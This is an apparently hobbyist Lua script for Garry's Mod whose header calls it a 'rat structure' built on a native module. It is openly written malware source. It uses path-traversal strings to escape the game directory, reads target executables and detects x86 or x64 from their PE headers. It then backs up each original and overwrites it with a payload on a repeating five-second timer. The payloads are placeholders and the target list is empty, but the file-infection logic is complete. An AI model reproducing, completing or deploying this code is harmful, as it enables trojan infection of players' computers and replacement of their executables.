-- note by paradox: made by me and scott to get a working rat structure for a prospective zxc/proxi/sublime/io module

if not file.Exists( 'lua/bin/gmcl_zxcmodule_win64.dll', 'GAME' ) then return end 

/*
    ded.Write( Addr, Contents ) -> bool (success)
    ded.Read( Addr ) -> bool (success), string (contents)

    sublime.file.WriteFile
*/

require( 'zxcmodule' )

// =============================================================================
// Main Data
// =============================================================================
local Infection = { 
    Breaks = {
        [ 'C:/' ] = '../../../../../',
        [ 'Program Files (x86)' ] = '../../../../',
        [ 'common' ] = '../'
    },

    Debug = true
}

Infection.Write = ded.Write
Infection.Read  = ded.Read

local Directories = {
//	{ Infection.Breaks[ 'common' ], 'hl2.exe' },
}

local x86 = [[sex]]
local x64 = [[sex2]]

// =============================================================================
// Utility Functions
// =============================================================================
function Infection:PrintDebug( String )
    if not self.Debug then return end 

    MsgC( Color( 255, 0, 0 ), '[INFECTION] ', color_white, String, '\n' )
end

// =============================================================================
// Infection/Threading Functions
// =============================================================================
function Infection:GetCode( Arch )
    if Arch == 'x86' then 
        return x86
    end

    return x64
end

function Infection:GetArch( Code )
    if not Code then return 'Unknown' end

    if Code:find( 'PE\0\0L' ) then 
        return 'x86'
    elseif Code:find( 'PE\0\0d' ) then 
        return 'x64'
    end

    return 'Unknown'
end

function Infection:Infect( )
    local Directory = Directories[ 1 ]

    if not Directory then return end 
        
    table.remove( Directories, 1 )

    self:PrintDebug( '[!] Initalizing Infection Process' )

    local Dir, Target, Arch = Directory[ 1 ], Directory[ 2 ], Directory[ 3 ]

    if not Target then return end

    self:PrintDebug( string.format( '[/] Writing to file directory `%s`', Target ) )

    local Exists, Code = self.Read( Dir..Target )
    
    if not Arch then 
        Arch = self:GetArch( Code )
    end

    self:PrintDebug( string.format( '[/] Detected architecture `%s`', Arch ) )
    
    if not Exists then return self:PrintDebug( string.format( '[!] File `%s` couldn\'t be found, ignoring', Target ) ) end

    if Arch == 'Unknown' then return end -- 16 bit?

    self:PrintDebug( string.format( '[!] File `%s` already exists, overriding', Target ) )

    self.Write( Dir .. '_' .. Target, Code )
    self.Write( Dir .. Target, self:GetCode( Arch ) )
end

function Infection:StartTimer( )
	self:Infect( )

    timer.Simple( 5, function( )
        self:StartTimer( )
    end )
end